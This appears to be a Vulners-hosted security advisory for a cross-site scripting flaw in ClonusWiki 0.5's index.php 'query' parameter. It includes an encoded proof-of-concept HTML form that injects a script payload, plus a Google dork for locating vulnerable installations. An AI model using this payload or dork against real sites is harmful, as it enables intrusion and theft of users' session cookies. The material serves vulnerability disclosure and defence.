ClonusWiki 0.5 Index.PHP HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ClonusWiki 0.5 HTML Injection Vulnerabilit


                                                source: http://www.securityfocus.com/bid/24101/info

ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect ClonusWiki 0.5.


&#60;html&#62;
&#60;head&#62;&#60;title&#62;ClonusWiki .5 - Cross-Site Scripting Vulnerability&#60;/title&#62;&#60;body&#62;
&#60;center&#62;&#60;br&#62;&#60;br&#62;
&#60;font size=4&#62;ClonusWiki .5 - Cross-Site Scripting Vulnerability&#60;/font&#62;&#60;br&#62;
&#60;font size=3&#62;discovered by &#60;a href=&#34;http://john-martinelli.com&#34;&#62;John Martinelli&#60;/a&#62; of &#60;a
href=&#34;http://redlevel.org&#34;&#62;RedLevel Security&#60;/a&#62;&#60;br&#62;&#60;br&#62;
Google d0rk: &#60;a href=&#34;http://www.google.com/search?hl=en&q=%22ClonusWiki+.5%22+intitle%3A%22ClonusWiki%22&#34;&#62;&#34;ClonusWiki
.5&#34; intitle:&#34;ClonusWiki&#34;&#60;/a&#62;
&#60;/font&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;

&#60;center&#62;file &#60;b&#62;index.php&#60;/b&#62; - variable &#60;b&#62;query&#60;/b&#62; - method &#60;b&#62;get&#60;/b&#62;&#60;/center&#62;&#60;br&#62;
&#60;form action=&#34;http://clonuswiki.sourceforge.net&#34; method=&#34;get&#34;&#62;
&#60;input size=75 name=&#34;query&#34; value=&#34;&#62;&#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;search&#34;&#62;
&#60;input type=submit value=&#34;Execute XSS Attack&#34; class=&#34;button&#34;&#62;
&#60;/form&#62;
&#60;br&#62;

&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1